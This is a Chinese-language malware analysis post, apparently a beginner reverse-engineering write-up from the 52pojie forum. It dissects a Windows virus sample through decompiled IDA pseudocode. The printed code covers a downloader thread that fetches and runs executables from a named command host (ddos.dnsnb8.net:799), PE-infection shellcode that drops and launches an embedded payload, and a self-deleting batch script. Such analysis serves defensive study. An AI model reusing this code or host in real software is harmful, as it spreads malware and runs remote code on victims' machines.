本文首发于 52pojie : https://www.52pojie.cn/thread-1536030-1-1.html
详细分析 程序流程大概是:
start -> main
main 函数有五个动作
权限提升 如果 windows 版本在 6.0 以上,就不执行提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 int get_privilege () { unsigned int v1; int v2; unsigned int v3; struct _OSVERSIONINFOA VersionInformation ; int v6[2 ]; struct _LUID Luid ; char v8[4 ]; int v9; int v10; unsigned int v11; unsigned int v12; int v13; int v14; VersionInformation.dwOSVersionInfoSize = 156 ; GetVersionExA (&VersionInformation); if ( VersionInformation.dwMajorVersion < 6 ) { if ( LookupPrivilegeValueA (0 , Name, &Luid) ? sub_AA119F ((int )&Luid) : 0 ) { v1 = sub_AA120E (); if ( v1 ) { if ( VersionInformation.dwMinorVersion == 1 ) { v2 = v1 + 132 ; v14 = v1 + 132 ; } else { if ( VersionInformation.dwMinorVersion != 2 ) return 0 ; v14 = v1 + 148 ; v2 = v1 + 148 ; }
注册表操作 读取和写入
注册表路径: HKEY_LOCAL_MACHINE \SOFTWARE\GTPlus \Time 这里路径,随系统不固定, 因为使用的是 SHSetValueA SHGetValueA api 如果传参为1: 从注册表指定路径中查询 是否写入的有时间,如果有,返回1,反之返回0 如果传参为2: 从注册表指定路径,创建注册key项, 并写入当前时间,返回0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __stdcall register_operating (DWORD pcbData) { unsigned __int64 pvData; struct _FILETIME SystemTimeAsFileTime ; DWORD pdwType; int v5; v5 = 0 ; GetSystemTimeAsFileTime (&SystemTimeAsFileTime); if ( pcbData == 2 ) { SHSetValueA (HKEY_LOCAL_MACHINE, pszSubKey, pszValue, 3u , &SystemTimeAsFileTime, 8u ); } else if ( pcbData == 1 ) { pcbData = 8 ; if ( !SHGetValueA (HKEY_LOCAL_MACHINE, pszSubKey, pszValue, &pdwType, &pvData, &pcbData) && *(unsigned __int64 *)&SystemTimeAsFileTime / 0x2710 - pvData / 0x2710 < 0x5265C00 ) { v5 = 1 ; } } return v5; }
数据解密操作 算法看不懂, 但值得一提的是,一共解了 1740 字节,我看了下,是后门的hostname , 以及要用到的系统字符串 等,杂七杂八的东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 int __userpurge data_decrypted@<eax>(int a1@<eax>, int *a2@<edi>, int a3) { int *v4; char v5; int *v6; int *v7; char v8; int v9; int v10; if ( (a1 & 3 ) != 0 ) return 0 ; v7 = (int *)((char *)a2 + a1 - 4 ); v4 = a2; v5 = -4 - (_BYTE)a2; do { v6 = v4 + 1 ; v8 = (v5 + (_BYTE)v4 + 4 ) & 0x1F ; v9 = *v4; if ( ((v5 + (_BYTE)v4 + 4 ) & 4 ) != 0 ) v10 = __ROR4__(v9, v8); else v10 = __ROL4__(v9, v8); *v4++ = *v6 + a3 + ~(a3 ^ v10); } while ( v6 < v7 ); *v6 = a3 ^ ~__ROL4__(a3 + *v6, ((_BYTE)v6 - (_BYTE)a2) & 0x1F ); return 1 ; }
启动一个下载后门线程 CreateThread 直接启动,然后就 waitsignedobject 等待线程结束
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 DWORD __stdcall download_blackdoor_thread (LPVOID lpThreadParameter) { const char *v1; int v2; const CHAR *v3; bool v4; int v5; CHAR v7[1024 ]; CHAR CmdLine[260 ]; unsigned int v9; LPCSTR lpString; v9 = 0 ; for ( lpString = &byte_AA4748; v9 < dword_AA494C; ++v9 ) { v1 = &String; if ( String ) { do { while ( 1 ) { v5 = get_rand_hex (); wsprintfA (CmdLine, "%s%.8X.exe" , cur_system_temp_dir, v5); wsprintfA (v7, "http://%s:%d/%s/%s" , v1, dword_AA4948, word_AA4708, lpString); if ( URLDownloadToFileA (0 , v7, CmdLine, 0 , 0 ) ) break ; vitrualfree2file (CmdLine); WinExec (CmdLine, 5u ); v2 = lstrlenA (lpString); v3 = &lpString[v2 + 1 ]; v4 = *v3 == 0 ; lpString = v3; if ( v4 ) return 0 ; } v1 += lstrlenA (v1) + 1 ; Sleep (dwMilliseconds); } while ( *v1 ); } } return 0 ; }
就拼接网址+文件 ddos.dnsnb8.net:799/cj//k1.rar k1 - k5
通过 URLDownloadToFileA 下载到本地
文件名称规则: system_temp 文件夹+ 随机hex字符串.exe
顺便把下载下来的文件 WinExec 执行一下, 我经过调试发现, 下载下来的内容一般为 foo , 然后解密后得到 4d5a
中间会歇上 3441092776 毫秒
PE感染 先复制自身到内存中
然后起一个线程, 遍历所有盘符 , 这里有个要求,该设备不为 cdrom 和 unknow , 盘符不为 A, B, 然后对着这些符合条件的 创建一个线程, 遍历该盘所有文件, 对符合条件的进行pe 感染操作(这里我还没调试)
这里面很多东西 ida 伪代码无法显示出来, 我也没动调
老的 exe 文件 开一个新区段,名称随机 写入 oep_shellcode , 再把自身(带有upx壳子)写入到 新区段中
55 8b ec 为func 开始的地方 表示指令为 push ebp, mov ebp, esp c9 c3 为func结束的地方 表示指令为 leave, ret
中间 C9 c3 和 4d 5a 90 之间有一点数据,不知道是啥
这里分析了一下 shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 int oep_shellcode () { int v0; _DWORD *v1; int v2; int v3; int v4; unsigned int v5; int v6; int v7; int v8; unsigned int v9; int v10; int v11; int v12; int (__stdcall *g_GetModuleHandleA)(_DWORD); int v14; int result; int v16; _DWORD *v17; int v18; char v19[260 ]; char v20[32 ]; int v21; int v22[3 ]; unsigned int v23; int v24; char v25[4 ]; struct _PEB *v26 ; int (__stdcall *g_GetModuleHandleA_1)(_DWORD); void (__stdcall *g_GetTempPathA)(int , char *); unsigned int v29; void (__stdcall *g_lstrcatA)(char *, int *); void (__stdcall *g_WriteFile)(int , _DWORD *, unsigned int , char *, _DWORD); int (__stdcall *g_CreateFileA)(char *, unsigned int , _DWORD, _DWORD, int , int , _DWORD); int (__stdcall *g_WinExec)(char *, int ); void (__stdcall *g_CloseHandle)(int ); _DWORD *v35; g_GetModuleHandleA_1 = 0 ; g_CreateFileA = 0 ; g_WriteFile = 0 ; g_CloseHandle = 0 ; g_WinExec = 0 ; g_GetTempPathA = 0 ; g_lstrcatA = 0 ; v21 = 0x11111111 ; qmemcpy (v22, "\"\"\"\"3333DDDD" , sizeof (v22)); v35 = &locret_AA4271; v26 = NtCurrentPeb (); locret_AA4271 = 0xE904C483 ; *((_DWORD *)&locret_AA4271 + 1 ) = 0xAAAAAAAA ; v0 = *(_DWORD *)(**((_DWORD **)v26->ImageBaseAddress + 7 ) + 8 ); LABEL_2: v1 = (_DWORD *)(v0 + *(_DWORD *)(*(_DWORD *)(v0 + 60 ) + v0 + 120 )); v2 = v1[7 ]; v3 = v1[8 ]; v4 = v1[9 ]; v5 = v1[6 ]; v6 = v0 + v4; v7 = v0 + v2; v8 = v0 + v3; v9 = 0 ; v24 = v6; v29 = 0 ; v23 = v5; while ( v9 < v23 ) { v10 = *(_DWORD *)(v7 + 4 * *(unsigned __int16 *)(v6 + 2 * v9)); v11 = v0 + *(_DWORD *)(v8 + 4 * v9); v12 = *(_DWORD *)v11; g_GetModuleHandleA = (int (__stdcall *)(_DWORD))(v0 + v10); if ( *(_DWORD *)v11 == 'MteG' && *(_DWORD *)(v11 + 4) == 'ludo' && *(_DWORD *)(v11 + 8) == 'naHe' && *(_DWORD *)(v11 + 12) == 'Aeld' && !*(_BYTE *)(v11 + 16 ) ) { if ( !g_GetModuleHandleA_1 ) { g_GetModuleHandleA_1 = g_GetModuleHandleA; strcpy (v20, "Kernel32.dll" ); v0 = g_GetModuleHandleA (v20); goto LABEL_2; } } else if ( v12 == 'EniW' && *(_DWORD *)(v11 + 4) == 'cex' ) { g_WinExec = (int (__stdcall *)(char *, int ))g_GetModuleHandleA; } else if ( v12 == 'solC' && *(_DWORD *)(v11 + 4) == 'naHe' && *(_DWORD *)(v11 + 8) == 'eld' ) { g_CloseHandle = (void (__stdcall *)(int ))g_GetModuleHandleA; } else if ( v12 == 'tirW' && *(_DWORD *)(v11 + 4) == 'liFe' && *(_WORD *)(v11 + 8) == 'e' ) { g_WriteFile = (void (__stdcall *)(int , _DWORD *, unsigned int , char *, _DWORD))g_GetModuleHandleA; } else { v14 = *(_DWORD *)v11; if ( *(_DWORD *)v11 == 'aerC' && *(_DWORD *)(v11 + 4) == 'iFet' && *(_DWORD *)(v11 + 8) == 'Ael' ) { g_CreateFileA = (int (__stdcall *)(char *, unsigned int , _DWORD, _DWORD, int , int , _DWORD))g_GetModuleHandleA; } else if ( v14 == 'TteG' && *(_DWORD *)(v11 + 4) == 'Ppme' && *(_DWORD *)(v11 + 8) == 'Ahta' ) { g_GetTempPathA = (void (__stdcall *)(int , char *))g_GetModuleHandleA; } else if ( v14 == 'rtsl' && *(_DWORD *)(v11 + 4) == 'Atac' ) { g_lstrcatA = (void (__stdcall *)(char *, int *))g_GetModuleHandleA; } } if ( g_GetModuleHandleA_1 && g_CreateFileA && g_WriteFile && g_CloseHandle && g_WinExec && g_GetTempPathA && g_lstrcatA ) { break ; } ++v29; v6 = v24; v9 = v29; } g_GetTempPathA (260 , v19); g_lstrcatA (v19, &v21); result = g_CreateFileA (v19, 0xC0000000 , 0 , 0 , 2 , 128 , 0 ); v16 = result; if ( result != -1 ) { v17 = v35; v18 = 0 ; while ( *v17 != 0x905A4D ) { v17 = (_DWORD *)((char *)v17 + 1 ); if ( ++v18 >= 500 ) goto LABEL_47; } g_WriteFile (v16, v17, 0xCCCCCCCC , v25, 0 ); LABEL_47: g_CloseHandle (v16); result = g_WinExec (v19, 5 ); } return result; }
因为没有动调,我不确定,他是否真的获取到了kernel32 的基址,有可能是 kernelbase 的基址, win7 以后老版本的shellcode 只能获取到 kernelbase的基址了
后面执行的函数,就是继续执行自己
winExec 第二个参数, 我查了下官方文档, 5 对应着 SW_SHOW ,就是正常启动该窗口罢了
自删除 这个自删除比较骚
这里不断进行删除自身exe,然后判断自身exe是否还存在,存在则继续删除自身exe, 不存在,则删除脚本exe
1 2 3 4 5 :DELFILEdel "C:\Users\m1n9yu3\Desktop\样本.exe"if exist "C:\Users\m1n9yu3\Desktop\样本.exe" goto :DELFILEdel "C:\Users\m1n9yu3\AppData\Local\Temp\35507285 .bat"
这里的 c 代码,就是把上面的bat脚本写到 系统 temp 目录下, 然后执行 , 这里 ShellExecuteA 是异步的,就是说,就算程序结束了, 该脚本也会继续执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 void *auto_del_self () { int v0; int v1; void *result; void *v3; BOOL v4; CHAR String[2048 ]; CHAR FileName[260 ]; DWORD NumberOfBytesWritten; v0 = get_rand_hex (); wsprintfA (FileName, "%s%.8x.bat" , cur_system_temp_dir, v0); wsprintfA ( String, ":DELFILE\r\ndel \"%s\"\r\nif exist \"%s\" goto :DELFILE\r\ndel \"%s\"\r\n" , pszPath, pszPath, FileName); v1 = lstrlenA (String); result = CreateFileA (FileName, 0xC0000000 , 0 , 0 , 2u , 0 , 0 ); v3 = result; if ( result != (void *)-1 ) { v4 = WriteFile (result, String, v1, &NumberOfBytesWritten, 0 ); result = (void *)CloseHandle (v3); if ( v4 ) result = ShellExecuteA (0 , Operation, FileName, 0 , 0 , 0 ); } return result; }
总结 分析过样本之后, 对 win32 api 有了一层新的认识, 以后分析这个起来,肯定会更加得心应手, 嘻嘻
然后这个样本,没啥难度,非常适合新手练习